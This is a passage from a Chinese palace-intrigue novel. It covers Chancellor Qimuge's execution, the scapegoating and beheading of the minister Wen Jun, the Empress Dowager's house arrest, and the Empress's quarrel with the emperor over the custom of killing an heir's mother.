“皇后可以放心,以陛下在军中的威信,即使乙满哗变,也不至于鼓动全军,伤到陛下。更何况乙满也不会这么做。”
明绰终于抬起头:“你凭什么这么确定?”
“齐木格今夜若动手,太后杀他名正言顺,乙满无话可说。齐木格若不动手,乙满定要为齐木格养死士辩解,他只会越发示弱,争取圣心——但无论如何,齐木格今晚一死,陛下只能班师。”慧玄顿了顿,“皇后见过陛下真正发怒的样子吗?”
倾力一战,却无功而返,乌兰徵必会把这笔账算得一清二楚。
明绰已经想到了:“我让他失望了。”
“非也。”慧玄摇了摇头,“陛下是不会跟皇后生气的。”
明绰惨然一笑:“法师未免太看得起我。”
她是得宠,但是乌兰徵不像是那种为了女人会昏头的皇帝。
“是皇后妄自菲薄。”慧玄唇边露出了一丝莫名的微笑,提醒她,“此战燕雍两国结盟,现在长安无功而返,建康又会怎么做呢?”
如果萧盈命袁增继续控制辽西走廊,那么拔拔真缓过一口气来,肯定会全力扑上去,那就成了大雍和屠珲部之间的战争。这么得不偿失的事情,萧盈肯定是不愿意的。但是坏就坏在袁綦已经带人杀到邺城了,拔拔真心里记了这笔账,大雍不愿意开战也得开战。那么萧盈的选择就只剩下一个,把盟约践行到底,支持乌兰徵到灭了拔拔真为止。
“为了和建康的盟约,陛下也不会把齐木格之死怪到皇后头上。要平复乙满和齐木格手下诸部落的怒气,陛下只会惩处太后。”
明绰心里突然升起一股莫名的不适。她对乌兰徵太“有用”了,所以他才不会对她生气?
但她很快又收拢心绪,明白了段知妘今夜把她带来西觉寺的第三层目的。
皇后也参与了齐木格之死,陛下要追究,择不开她。
“皇后现在就要想清楚了。”慧玄侧过脸,看了看外面的天色,若有所思,“若齐木格真的没有动手,骊山北麓现在应该已经被雍州军屠干净了。太后控制了丞相府以后,会让皇后来下这道杀齐木格的令。皇后不能答应。”
“我不答应有用吗?”
“没用。”慧玄笑了,“但皇后要让群臣都看见,你是被太后胁迫的。等陛下回来了,你也是这么说,要把所有的事情都推到太后一个人头上。”
明绰眉头一皱,这本来就全都是太后一个人干的,但慧玄这样说,就让她显得尤其无情无义,明绰心里不太舒服。她与太后亦有盟约,她答应过会帮太后杀齐木格的。
“法师同我说这些话,太后知道吗?”明绰冷了脸,“你就不怕我告诉太后,太后会杀了你?”
慧玄有一会儿没说话,只是定定地看着她,久到明绰甚至觉得他看的不是自己,而是从自己脸上看到了什么别的人。
“那也没什么。”慧玄又笑了,他现在看起来和当年出现在龙盘山道的时候一样,明绰好像又变成了当年那个无力前行的小女孩,因为这个清俊出尘的微笑而无由来地信任他。
“也许那样,皇后便能相信檀越辅佐效忠之诚了。”
段锐在一个时辰以后走进了清心居的小院。一切皆如慧玄所说,太后已控制了丞相府,召集群臣,接皇后回宫下令。皇后苦谏,不愿下令。太后命人去搜皇后印宝,一无所获。最后太后亲自下了懿旨,以谋反罪将齐木格灭门。
据太后所说,皇后受到惊吓,病中无法理事,太后重掌大局。她一度试图封锁消息,但很快就发现,在齐木格被处死之前,步察巴合就已经乔装出城,直奔洛阳而去。
十五日后,乌兰徵班师。
第67章
明绰还未走进大殿,就听见了里面此起彼伏的哭声。
乌兰徵坐在上首,甚至身上的甲还没卸下来,脸上还有一路的风尘,也没空洗一洗。群臣在殿中跪了一地,唯独太后站着。但她也不像从前那样站在陛下身边,而是在阶下,同样等待着君王的审判。温峻和萧典都跪在她脚边,身边是一具刚咽气的尸体,那本是柳泉村里留下的活口,要当庭指证丞相阴养死士一事。但是还没来得及说话,已经被乌兰徵一剑杀了。
这样明确的态度,似乎一切指认和对质都已经没有了意义。
在哭的是乙满和几个齐木格的部下将领,他手里举着一串东海珠,明绰一眼便认出是当日她拿去送给豪尔特的那串,莹白的珠子上溅了血,已然干涸,触目惊心。
“豪尔特还是个孩子,可汗,你是看着我妹妹长大的……”乙满哭着膝行几步,抱住了乌兰徵的腿,“这个女人连豪尔特都没有放过!可汗!我妹妹做错了什么!”
乌兰徵闭了闭眼,紧紧咬着牙关。他的手伸出来,摁在了乙满的肩膀上。他安慰的动作像是一种鼓励,那几个齐木格手下的人都学着乙满的样子跪着上前哭诉。步察巴合叔侄两个也在说话,萧典见势不好,也着急进言,一时殿上闹闹哄哄,反而一个人的话都听不清楚。
乌兰徵没有喝止任何人,突然站了起来。他一站起来,所有人就不自觉停了下来,视线紧紧跟随,看着他走到了太后面前,停下了离她两阶高的位置。乌兰徵原本就很高,段知妘不得不昂起头看着他,明绰看不清她的表情,只能看到乌兰徵低头看着她的眼神。
慧玄问过她,有没有见过乌兰徵发怒的样子。明绰见过很多次,大部分时候她就是他生气的理由。但这是第一次,明绰在乌兰徵眼里看到了杀意。
“额赤哥的尸体在哪里?”这是他问段知妘的第一句话。
段知妘昂着头:“乱臣贼子,自然是曝尸荒野。”
乙满发出一声野兽般的嘶叫,恨不得扑上去一口一口咬死她,被几个人拦腰抱住。步察巴合哭叫着用乌兰语向可汗哭诉那一夜的惨状,他如何眼睁睁看着雍州军把齐木格砍碎的尸体扔出来……贺儿薄却低着头,蜷着背,努力想把自己往后缩,恨不得原地消失。
乌兰徵歪着头听步察巴合的哭诉,眼底慢慢发了红。但他越气,说话的声音就越轻:“朕把雍州军留在你手里,是要你替朕守住长安……太后就是这么替朕守的?!”
“齐木格阴养死士,意图谋反!”段知妘一字一顿,丝毫不退,“本宫以雍州军镇压,正是要为陛下解后顾之忧!”
她话音未落,乌兰徵突然抬起手,高高地举了起来。明绰没忍住心里一惊,以为他这一巴掌要打下去。段太后下意识地瑟缩了一下,但立刻重新昂起了头,几乎是挑衅般扬起了声音:“陛下要打便打,就是拿鞭子来,拿刀来,我也是一心为了大燕!齐木格一日不除,长安一日难安!”
温峻膝行一步,恨不得拦在太后身前:“子不可伤母——陛下!太后有养育之恩啊!”
乌兰徵转过脸来,动作很慢,像一头蓄势待发的狼,暂时还不想惊动猎物。
“养育之恩?”他冷笑着重复了一遍,把手放下了。
“可汗没有这样恶毒的母亲!”乙满声嘶力竭地喊起来,“她是天上降下来的灾星,她是祸端!”
明绰实在没有忍住,叫了一声:“陛下——”
但是乌兰徵就像没看见她,也没听见她的声音。
“诬陷丞相阴养死士的折子,是你上的,对么?”他蹲下来,平视着温峻。“诬陷”两个字太意味深长,段知妘一下子明白了什么,声音一下子变了:“陛下!”
乌兰徵抬起一根手指,示意她不要说话。他的眼睛就这么牢牢地盯着温峻,看着他脸色发白,在极大的恐惧中抬起头,看了段知妘一眼。然后他下定了某种决心似的,跪直身子,朝乌兰徵磕了一个头。
“陛下!”温峻扬声道,“此事都是臣一人所为,太后不知!”
“不!”段知妘的声音变了,她意识到了温峻要干什么,明绰远远地看着她,好像看到什么东西突然坠落到地上,玉一样,摔得支离破碎。
“陛下……”段知妘的眼泪落下来了,伸出手想去抓乌兰徵的衣角。可他身上只有冰冷的轻甲,“徵儿?”她唤了一声,但是乌兰徵还是不肯看她。
温峻的声音盖过她:“太后是陛下的母亲,是大燕的母亲——”
乙满:“她不是可汗的母亲!”
温峻把头上的冠取下,像端着自己的头颅,献给乌兰徵:“陛下要为丞相复仇,臣欣然赴死!但陛下不可不做圣主,忤逆不孝之事,万不可为!”
乌兰徵站起来一挥手,立刻有两个穿甲的卫士上前,一把摁住了温峻。他手中高举的冠颓然落地,沾到了地上的血。太后突然不顾一切地扑上去,想要从他们手中把温峻抢下来。乙满和步察巴合都在说话,他们意识到了乌兰徵想拿温峻来当替罪羊,仍不甘心地要求他严惩太后。可是段知妘一个字都听不进去了,她紧紧地抓住了温峻的一条手臂,不许他们把他带走。然后温峻转过头,朝她露出了一个笑容。
“足够了。”他很轻地对她说。
乌兰徵:“斩了!”
押着温峻的人用力一拽,太后失去了平衡,摔到了地上。明绰又往前一步,似是想拦住他们把温峻带下去。但是温峻看到了她,朝她摇了摇头。乙满和西海诸部的怒火一定要一颗人头来平复,那就用他的人头。
果然,乌兰徵突然警告似的低喝了一声:“够了!”
明绰转过头,看见乙满和步察巴合都闭上了嘴。乌兰徵不让那个人证开口,没有让温峻把齐木格养死士的罪名在明面上坐实,已经是给了他们面子。此事非要追究,齐木格是没那么无辜的。步察巴合似乎仍有不忿,但刚才哭得最激动的乙满却瞬间明白了乌兰徵给的台阶,拉了拉步察巴合的袖子,让他别说了。
只这一错眼,温峻已经被带了下去。太后还伏在地上,片刻之前的骄傲和强硬已经荡然无存。明绰不忍心,上前想把她扶起来,但是段知妘狠狠地挣开了她,几乎把她推倒在地。从那天皇后不肯下旨杀齐木格起,她对明绰就是这样的态度。但她现在眼里根本看不见萧皇后,撑着自己的膝盖,看着站在台阶上的乌兰徵。
“去把额赤哥的尸首找回来,”乌兰徵转过头对步察巴合说,“朕要厚葬。”
步察巴合含着泪,磕了一个头:“是。”
乙满:“可汗……”
乌兰徵抬了抬手,示意他什么都别说,然后转向了段知妘。
“太后笃信佛陀,以后就长居西觉寺吧。”乌兰徵看起来很累,“把太后印宝留下,朕会让云屏去陪你。”
段知妘听出了他的威胁之意,“哈”地大笑了一声。温峻,云屏。他可真会挑她最痛的地方戳啊。
“若我不肯去呢?”
乌兰徵闭了闭眼睛,只道:“太后好好为大燕祈求国运,朕不动你的雍州军。”
原来还要她乖乖交出军权。段知妘仰起了头,
想控制眼泪不要落下来,但无济于事。
她知道杀齐木格是冒险了一点,但她以为他不会这样对她的。洛阳僵持不下,两边的粮草都支撑不了太久,班师是必然的结果,他最多就是找个借此发发脾气,不会真的把她怎么样的。他还是那个没长大的男孩,她露一截胳膊就能把他看痴。时间会改变很多东西,但不会改变他们之间的坚实的同盟。她以为他知道这个,她以为他心里一定清楚,她做什么最后都是为了他好……她才不在乎他把爱给了谁,只要他们是一条心。
齐木格不除,必成大患。他怎么就不明白呢?
“好。”段知妘点了点头,伸手草草地在脸上拂了一把,“好。”她还是只有这个字。
她抬脚往外走,萧明绰又上来扶她,段知妘转过脸,好好看了她一眼。她眼里也都是泪,段知妘不明白,她假惺惺地哭什么呢?那天说什么都不肯下令杀齐木格,不就是为了今天吗?之前说得多好听啊,可是事到临头,没有人会不顾自己的。段知妘最后回头看了一眼乌兰徵,又看了一眼明绰。他维护得也太明显了,甚至都不费心遮掩一下。殿上对质没有叫皇后,皇后自己来了,又不让开口。最后挑挑拣拣,杀了个温峻,来惩罚她。
段知妘自嘲地笑了一声,轻轻掰开了皇后的手。明绰第二次被她推开,终究没有再凑上去。身后絮絮说话的声音一直就没有停过,但是明绰都没有往耳朵里听,只是看着太后一步一步走除了大殿,然后转过身,消失不见了。
皇后是当晚才得知,乙满得到了陛下的允许,亲自斩下了温峻的头。事情到了这一步,两边都没话说,但其实两边都不满意。太后交出了兵符,当夜就重新住进了西觉寺,但这一次跟之前任何一次都不一样,陛下派人看住了太后的居所,形同软禁。乌兰徵本想把太后最信任的灵智无上法师也一并处置掉,最后还是皇后开了口,请他刀下留人。
“你知道那个和尚是她什么人吗?”
明绰一时没说话,把手里的水瓢举高一些,让温热的水沿着乌兰徵的脊背淋下去。宫里也有专门沐浴的汤池,但乌兰徵不去,到长秋殿的时候还穿着那身甲,明绰给他脱的时候看到他腰上、背上、腿上都是压出来的红痕,不知道这轻甲在身上多少天没脱了,当即就让冬青和秋桑搬了浴桶进来,烧了水亲自伺候陛下沐浴。
“知道。”明绰把水瓢放下,“所以才不能杀。”
乌兰徵回过头,皱紧眉头抓住了她的手:“为什么?”
“你已经杀了温大人,再杀法师,那不明着告诉天下人太后淫|乱后宫么?”明绰把手腕挣出来,“陛下处置温峻是为了平复西海诸部的怒火,要是让人三言两语的就把矛头转移了,那温大人不是白死了?”
乌兰徵没说话,静静地坐在水中想。他头上的编发已经散了,乌黑的卷发披在肩上,半截浸在水里,明绰想替他揉一揉肩膀,刚把他的头发撩开,就看见他右肩连着后颈一大片又添了新伤,粉红的嫩肉刚长出来,看着触目惊心。
明绰一愣:“怎么……”
乌兰徵问她:“你是不是不高兴我杀了温峻?”
明绰看着他后颈的伤,一时竟然说不出话来。她当然不高兴,可是她也想不出来有什么别的办法。无论如何不能杀太后的,就像温峻说的那样,太后名义上是乌兰徵的母亲,以子杀母,那是要留在史书上被后人骂上千年的。孝道是汉学伦理的根基,若是乌兰徵真的这么做了,那这么多年的归汉之策等于付诸东流,那些尚未诚心归附的汉人世家心里更要觉得乌兰徵是没有人伦的蛮夷。
太后不能杀,就只能在汉臣里挑一个替她去死,温峻这两年被重用,风头盛,又是太后心尖上的人,只有看到太后真的痛了,乙满和步察巴合才会罢休。
所以明绰什么都不想说,只有一声长长的叹气:“肩上又怎么了?”
“被火燎了一下。”乌兰徵说得轻描淡写。
对,他信里说过,石简用火攻反击。明绰的手指在他还凹凸不平的烫伤上流连:“疼吗?”
乌兰徵一只手湿淋淋地握住她,不让她动:“痒。”
明绰伏下来,从背后抱住了他的肩膀,把脸贴在他颈窝里,突然问:“你杀温峻,就没有一点私心吗?”
乌兰徵没听懂她什么意思,转过头茫然地看着她。他也不知道在外面吃了多少土,脸都洗过了,还是有一层黄黄黑黑的,明绰有点儿嫌弃地伸手搓了一把,乌兰徵歪着头不让,只问:“什么私心?”
明绰不想把那件事说破,别别扭扭地拐着问:“你是不是早就想杀他了?”
“没有啊。”乌兰徵困惑得真心实意,“他好好的,我杀他干什么?”
明绰看了他一眼,也不想再问了。现在说这些都没什么意义,乌兰徵是早存了杀心也好,今次迫不得已也好,反正温峻都已经活不过来了。
“他那封折子是上给我的。”明绰的声音闷闷的。
乌兰徵拍了拍她的的手背:“我知道。”
“陛下也罚我吧。”明绰轻声道,“我已经给皇兄写了信,下次再讨拔拔真,皇兄还是会出兵相助的,陛下不用忌惮什么。”
乌兰徵微怔,然后突然从她怀中挣了出来,转了过来,非常严肃地看着她。怎么他的皇后竟然觉得他事事要看大雍皇帝的脸色?
“你……”乌兰徵有点儿咬牙切齿的。
明绰原本是端了张凳,坐在浴桶边上,被他这么一瞪,就坐直了。现在天热,她身上只有一件很薄的寝衣,袖口被打湿了,几乎成了透明的,贴在她的皮肤上。刚才从背后抱着他,胸口也沾得半湿。头发松松散散地绾在一边,沾了水汽,有点儿毛毛的,像初生的小狼身上那一层胎绒。乌兰徵在那股邪火和另一股火之间犹豫了一下,决定先不跟她生这个气。
明绰也不知道他这瞬间脑子里换了多少念头,只听到乌兰徵说:“起来。”
“做什么?”明绰嘴上在问,但人已经老老实实地站起来了。她话音还未落,乌兰徵的手已经一把抱住她的腰,明绰惊叫一声,整个人摔进了浴桶里。水“哗啦”一声溢出浴桶,泼得地上到处都是,闹出了天大的动静。明绰听见冬青手忙脚乱跑进来的声音,然后又“哎呀”一声跑了出去。但她始终没看到有人,因为乌兰徵已经把她困到浴桶的角落里,整个人覆下来,遮住了她全部的视线。
明绰呛了一口水,睫毛也被水珠挂得睁不开,下意识伸手就打。袖子湿哒哒的,甩在乌兰徵胸口极响,然后又被乌兰徵轻轻松松地制住。
“我是要罚你。”
明绰把手伸回来,抹了一把脸上的水,把湿透的头发捋到脑后。她就是这么一说,乌兰徵还真罚?她哪里做错了?她难道不是小心谨慎,两边斡旋,最后还违背了答应过太后的承诺吗?那她手里一兵一卒都没有,太后要杀齐木格她还能怎么拦?
“那可是五万雍州军啊!”明绰急得音调扬上去,又强调一遍,“五万啊!”
她还能怎么办嘛!
乌兰徵看着她发急,反而笑了出来。明绰气不过,又打他:“你现在知道收她兵权了,早干嘛去了!还说什么把长安交给我,这就叫交给我啊?都是骗我的!”
乌兰徵把人搂进怀里,任她扑腾得水“哗哗响”,只是笑。这才是萧明绰,刚才那个主动请罪的是
皇后,但不是他心心念念想了几个月的人。他有一点点想辩解,如果不是到了今天的地步他也收不了太后的兵权。他要罚的也不是明绰没能阻止这件事,而是为什么不给他写信。但是现在他不想说话,倾身把人吻住。明绰还没骂完呢,被他堵住了嘴,犹自“呜呜”地响,也听不清楚,被乌兰徵一个字一个字地嚼碎,从她口中衔出来,直到终于听不见她说话的声音,唯有难以平静的水面,轻轻地荡出回响。
第68章
太后交出兵权的半个月里,接近一半的汉臣都递了折子请辞,几乎都是为了温峻之死而不平,乌兰徵一概不批。但无论这些汉臣们拿出了多少齐木格有僭越行为的证据,乌兰徵也是一意孤行地不听,甚至给齐木格身后封王。大燕的制度几乎和前梁一模一样,前梁从不封异姓王,所以大燕也没有现成的礼制可以遵循。但是乙满要按照乌兰人的旧俗办葬礼,乌兰徵又不愿意,非要下令尚书台治丧。当天萧典就领着尚书台所有人一起辞了官,要不是皇后拦着,乌兰徵就要把萧典的脑袋一起摘了。
汉学是温峻的心血,他一死,那些学监们是第一批辞官的,乌兰徵不批就不批,学监们就是不去点卯,陛下也没办法,还有人干脆官印一挂,离开了长安。进学的少年们无人管束,很快就结成了汉人和西海人两派,打得不可开交。这些孩子们一打,他们的父亲、祖父就接着到乌兰徵案前打。
朝中虽然是西海人掌权的多,但是基层小吏,地方州令,还是以汉人为主。一时之间,上行下效。西海高官打压下一层的汉人小吏,汉人小吏就去磋磨无官无职的西海百姓。官场上冤冤相报,民间更是到了胡汉相仇的地步,短短一个月,人命案都出了三四件。
偏偏步察巴合故态复萌,还以为他们来汉人的地方是打劫的,当街抢了一个汉女。这汉女的未婚夫无可奈何,竟然去烧了邻居一家西海人的房子出气,活活烧死了三个孩子。乌兰徵亲自扒了步察巴合的上衣在他背上抽了三十鞭,也没阻拦得了民间的胡汉仇杀。
明绰只能亲自去拜访萧典,嘴皮子都快磨破了,最后回来跟乌兰徵转达了尚书台的条件——他们可以回去给齐木格治丧,但齐木格不能封王,最多可以赐个武侯。他说这话的时候,汉学的学监令也在,马上就跟上了,那温大人也不能就这么白白死了,也得封侯。
乌兰徵听完,非常认真地问她:“我真的不能把他们都杀了吗?”
他就不明白了,汉人怎么能这么多事儿。军营里那套杀一儆百好像没用了,怎么会掉了温峻一颗脑袋,就前赴后继这么多颗脑袋想扑上来给他砍呢?
明绰也没好气:“谁让你杀温峻的?”
“我不杀温峻,怎么跟乙满他们交代?”
“有什么好交代的!”明绰脾气也上来了,“你就是偏心西海人,齐木格谋反铁证如山,你怎么不说把乙满他们‘都杀了’?”
“额赤哥是被太后逼的,怎么就是谋反了!”
“那你去杀!”明绰抬脚就把人往床下踹,“都杀光了,就剩你一个当皇帝!”
乌兰徵又不肯,抱着她一条腿赖住不动。明绰挣不开他,看他那焦头烂额的样子,又好气又好笑:“哎呀……那你就让乙满把齐木格葬了吧。从前要胡汉相融,才说丧葬嫁娶都改用汉人礼制,可此一时彼一时,现在陛下这样强人所难,谁都不高兴。别给齐木格封王,也不用给温峻封侯,赶紧把这事儿了了才是正经。”
天这样热,她都不敢想齐木格的尸首已经成了什么样,好在乌兰人不讲究“入土为安”。西海干燥寒冷,乌兰部的旧俗是把先人的遗体风干,然后摆成盘坐的姿势,以织物裹遍,方便供奉。明绰还听说过有人会把先人遗体这样一直摆在家里,仍旧同桌吃饭,如同生时。也不知道乙满是不是打算这么干,她一想起来就浑身打了个寒战。
乌兰徵放开她的腿,翻了个身,平躺在了床上,突然叹了口气:“是不是我哪里做错了?”
明绰翻了个白眼,刚才不都说了吗,他偏心啊。但是看着乌兰徵的神色,又没忍心说出口。齐木格的尸体被送回来那天,她亲眼看到了乌兰徵的眼泪。除了忌惮西海诸部的军心,乌兰徵也有发自内心的悲痛。齐木格毕竟看着他长大,一起出生入死地打了天下,又在父亲去世的时候坚定地站在了他的身边。乌兰徵也是人,人总是要有偏心的。
乌兰徵看着床顶,又道:“阿耶能一统北方,我怎么连个长安平不了?”
“胡汉积怨百年,不是这么几年就能化解的。现在看着都是一点点小事,背后都是几代人的恩怨。”明绰软了声音安慰他,“陛下,慢慢来吧。”
乌兰徵不说话了,还是定定地看着床顶,明绰的脚还在他手边,他也不知道在想什么,一边顺手在她脚踝上来来回回地摩挲。天虽然热,她的脚还是有点凉,生得那么小巧,皮肤又光滑,在手里摸着特别舒服。明绰想缩回来,他还不许。明绰便干脆把脚再伸出去一点,脚趾把他腰间松松垮垮的衣带扯开,然后伸进他寝衣下面。乌兰徵任她动作,直到她那只脚把他衣襟都挑开了,才抻起脖子朝她笑:“做什么?”
“没什么。”明绰把脚收回来,“陛下不热吗?”
乌兰徵坐起来,寝衣襟口打开,露出胸腹。起身的时候腰上发力,身上的线条就更明显。明绰下巴支在一条膝盖上,头轻轻一歪,拿眼神继续扒他那件寝衣,看得明目张胆。
乌兰徵不动声色:“是挺热的。”
“热就脱了吧。”明绰表情十分无辜,“臣妾这殿里就是不好,不透风,端了冰鉴来也热。以后陛下就不要穿这件寝衣了。”
乌兰徵点点头,整个人在床上跪直,把寝衣脱下,然后往前爬了两下,直接把人往床上扑。
“别别别……”明绰笑着躲他,小声道,“不行,今天身上不舒服。”
乌兰徵停下来:“那你招我做什么?”
“谁招你了?”明绰嘴上不认,手已经摸到了乌兰徵胸口,“我就看看呀。”
乌兰徵伸手就解她衣服:“我也就看看。”
“不行不行不行……”明绰边笑边蜷缩起来,但又没从乌兰徵怀里逃出去,就是一只手抓着自己襟口,一只手拦他那只作怪的手,“哎呀,没骗你,真的身上不舒服。”
乌兰徵皱起了眉,拿她没办法。往日里的规矩是妃嫔来月事会在颊上点朱砂,但现在他每天只宿在长秋殿,明绰也就没必要点了。她这么说,他就把手掌覆在她小腹:“怎么又不舒服?”
明绰的声音懒懒的:“白天在萧典家里吃了两杯酒吧。”
乌兰徵从鼻子里“哼”了一声:“知道会不舒服还喝?”
明绰斜着朝他飞了个眼神:“那不都是为了陛下吗?”
乌兰徵便投降了似的,不再说她,手掌在她小腹上揉了揉:“疼吗?”
“也不是疼,”明绰往他身上赖,“就是不舒服。”
乌兰徵“嘶”了一声,把她不老实的手从身上扒下来:“这样肚子能舒服?”
明绰眯起眼睛,凑到他耳边轻声道:“陛下这具皮囊赏心悦目,看一眼能解百忧,摸一摸能消百病。”
他们还算是新婚,正当情浓,床上什么浑话都说得。明绰这话倒像她才是那个调戏良家的人,乌兰徵也是一副已经习惯了的样子,抓了她的手就往下:“那你往这儿摸。”
明绰马上“啊”地叫了一声,把手收回来。乌兰徵便低头在她唇上啄了一下,然后又觉得她这样子实在可爱,没忍住低头加深了这个吻。亲了一会儿,突然又把人放开:“不对。”
明绰唇角一片湿意,眼里也是一片湿意:“什么不对?”
乌兰徵看着她:“上次来不是才半个月吗?”
明绰眨了眨眼。她从小月事就不太准,一向不记日子。乌兰徵讨拔拔真之前那段日子她非常担心怀孕,整天提心吊胆算着日子。但这几个月乌兰徵都不在,她就又放松下来了,最近这些事情又焦头烂额的,她哪还顾得上记这个。
乌兰徵有点儿担心的样子:“明天让巫医来给你看看。”
“这有什么好看的。”明绰没放在心上,“从前也提前过,让芸姑给我照着旧方子煎一服药就好了。”
“真的没事?”乌兰徵在她小腹上揉了揉,又想到什么,“叫你们汉人的大夫也行。”
明绰摇了摇头:“真没事。”她担心的是月事不来,提前来了没什么。
乌兰徵看了她一会儿,突然把头贴到了她肚子上。她身上很软,肚子尤其软,乌兰徵躺下来,把她当枕头似的。明绰感觉他情绪有点不对,轻轻地拍了拍他肩膀:“怎么啦?”
“你皇兄是不是春天刚得了个儿子?”
明绰一愣,应了一声:“嗯。”
敬夫
人平安生产,萧盈大赦天下,减了百姓一年三成的税,就为了庆祝皇长子的出生。孩子虽然生在春天,消息到长安的时候已经入夏了。那时候乌兰徵不在,明绰筹备了非常丰厚的礼物,以乌兰徵的名义送了回去。
乌兰徵对这事儿有印象,这会儿想起来,突然长叹一声:“还是叫个大夫来吧,要不给我看看。”
萧盈比他小了这么多岁,听说身体还特别不好,都有孩子了。怎么他都恨不得在长秋殿白日|宣|淫了,明绰还是一点儿动静都没有。
明绰听见这话,表情一僵,好在两人各自躺着,乌兰徵没看见她的脸。其实他这样整日宿在长秋殿,明绰也不是每次都有机会背着他放好绢丝。这种时候明绰就想尽办法,要么用手,甚至用嘴,反正哄着骗着逃过去。实在没有逃过去的时候,她总是担心得觉都睡不着。
“陛下这话就是怪我了。”明绰在他肩膀上轻轻推了一下,“起来,重死了。”
乌兰徵不起来,只道:“怎么是怪你呢?”
“不是已经有人怀过陛下的孩子了么?”
乌兰徵便不说话。他们之间从来不提叱云额雅,也从来没有提过那年深夜里他为什么一个人无言地坐在额雅去世的床前。他当年真的喜欢过额雅,还是只是想找一个可以牺牲的人来生继承人,这些事情明绰都不问了。也许都有吧,也许乌兰徵自己也说不清楚。她把额雅记在心里,却不能再问。只要她不问,乌兰徵就是一个合心意的丈夫,而她也可以发自内心地去爱她的丈夫。
乌兰徵显然也不想提。于是他顿了顿,非常自然地只当明绰没说过这个话,又问:“你皇兄那孩子叫什么来着?”
明绰尽量保持语气的平稳:“萧秧。”
乌兰徵抬起头:“稻之初生为秧,又是生在春天……好名字,你皇兄想必花了不少心思。”
“皇长子,”明绰说得很平淡,“自然花心思。”
“没立太子吗?”
“没有。”明绰摇摇头,“皇兄春秋鼎盛,以后还会有别的儿子的。长大一些再挑贤良的立,不急在这一时。”
“这样不好,”乌兰徵摇了摇头,“那兄弟们要抢起来的。”
明绰心不在焉地“唔”一声,立长还是立贤自古就没个定论,她也没兴趣跟乌兰徵辩论这个。再提到萧盈,她也不知道自己是什么心情,但是指尖触到乌兰徵肩上那块已经长好的烫疤时,又觉得可能萧盈对她来说也是这样一块疤,不疼了,就是木木的。有些东西已经死得面目全非。
乌兰徵不知道她在想什么,只道:“等我们的儿子出生,我就立刻封他做太子。这样,以后他跟兄弟们感情也好……”
忍住。明绰告诫自己,但她还是脱口而出:“那时我还会在吗?”
乌兰徵停住了,他终于不再枕在明绰身上,坐起来,转过来看着她,明绰也坐了起来。乌兰徵很明知故问地说:“什么?”
这就是陛下给她的台阶了,但是明绰不想下。这个事情她盘算过要怎么跟乌兰徵提,但绝对不是在这种情况下,用这样的语气说出来。但乌兰徵真的不应该说到萧盈,又装作没听到她提起额雅。
“立了太子,不就该杀了我这个生母了吗?”
乌兰徵有好一会儿没说话,然后他伸出手,很宽慰似的去扶她的肩膀。但他那个眼神明绰如今已经很熟悉,他最近提到步察巴合和萧典就是这样的眼神——不得不硬着头皮去处理他不想处理的事情的表情。明绰心里升起一股火,肩膀一沉,没让他搂住。
乌兰徵只好道:“你是皇后,不一样。”
虽是旧制,也拗不过人情。历来可敦若是出身实力雄厚的家族,也没人会轻易搬出这种旧制来。只是要出身正好,嫁的时机正好,还要与可汗情投意合,实在也是少见,而最近这几代人都不是这样的情况。
这话倒是跟额雅生前说得一模一样,明绰气不打一处来:“这是什么意思?若我今日不是你的皇后呢?若你现在喜欢的是陈贵妃,你就会眼睁睁看着她被杀掉,是吗?”
乌兰徵被她的怒火烧得莫名其妙:“我几时喜欢过陈贵妃了?”
“你明知我是什么意思!”明绰越发气急,干脆说明了,“我要把这条祖制废了!”
乌兰徵眨眨眼,还是不太明白:“我不会让任何人伤害你的。”
明绰深吸一口气,感觉跟他说什么陈贵妃还是叱云额雅,他根本理解不了,或者说他不想去理解。她只能换个说法:“臣妾有陛下疼爱,是臣妾幸运。那陛下想想,有一天我们不在了,我们的儿子也有了自己心爱的人,有了自己的孩子,陛下忍心让那个孩子像你小时候一样吗?”
乌兰徵听懂了,但他看着明绰,没好意思说,这事儿不全看她吗?如果她说的这种情况成立,那么那个时候他自己应该已经死了,明绰就是新的普达惹氏。所以他还是不明白她在生气什么。
明绰从他的眼神里看出了他在想什么,一时又挫败又烦躁地叹出一口气。
她不敢生,是因为忌惮段太后,也忌惮齐木格。但现在威胁不存在了,乌兰徵也给了她这样明确的保证,她似乎就没有了恐惧的理由。
可是明绰还是觉得不够,觉得一拳头打进了软锦堆里,浑身的力不知道往哪里使。
她到底是为了什么呢?是替额雅不公吗?还是替她口中那个儿子心爱的女人?可那个人甚至还不存在。
明绰看着乌兰徵,不知从哪里生出来一股无穷无尽的委屈:“你心里是不是觉得,只要死的不是你的母亲,你的妻子,子贵母死能防女子干政,其实也有几分道理,对不对?”
乌兰徵让她问住了:“我……”
他其实没有从这个角度去想过这件事,他只是不知道应该从何入手去修改一条明面上并不存在的法律。子贵母死不是一个成文的规定,神女的诅咒源自信仰和传说,就像一个鬼魂一样永远盘旋在乌兰氏的血脉中,只要对阿瓦神女的信仰依然传承,这条祖制就随时可以乘着人心的欲念复活。乌兰徵觉得明绰好像在要求他想出一个办法,控制所有人的权欲,可是他管不了。不要说是子孙那辈的权欲,他甚至都管不了当下的人放下“非我族类”的成见。
乌兰徵以前很少感觉到这样的无力,但最近越来越多了。无从入手的事情太多了,他非常不喜欢这种感觉,也不想跟明绰吵架。所以他什么都没说,站起来把衣服披上,走了。
明绰一时愣在床上,本来还没想哭,这下眼泪瞬间决了堤。梁芸姑看见乌兰徵大晚上出来了就感觉不对,赶紧进来查看,就看见明绰捂着小腹,蜷缩在了床上。
梁芸姑吓得不轻,赶紧问是怎么了。明绰摇了摇头,只说经痛。本来小腹只是隐隐的坠痛,甚至不影响她跟乌兰徵调笑的心情,但刚才突然一下特别尖锐。
“怎么这回提前了这么多,”梁芸姑也发现了,“还痛得这么厉害?”
“本来不厉害的。”明绰眼泪直往下掉,“都是他气得!”
夫妻吵嘴,梁芸姑也不知道前因后果,一时不敢说什么。只好让冬青秋桑去烧水,她先伺候着皇后睡下来,明日再照着以前的方子去抓药。
乌兰徵虽然一不高兴就走,但不是一个会一直置气的人。明绰第二天就听说了,陛下终于准了乙满所请,让他以乌兰部的旧俗给齐木格举行葬礼。封王的决定也撤了回来,算是给了萧典一个台阶,萧典和他手下那帮汉臣也就顺着台阶下了,说是今天进了宫,跟陛下商量派谁来处理汉学的事情。
到了饭点,乌兰徵又没事儿人似的来长秋殿了,臊眉耷眼地让明绰说了几句,也不还嘴,光吃饭。吃完
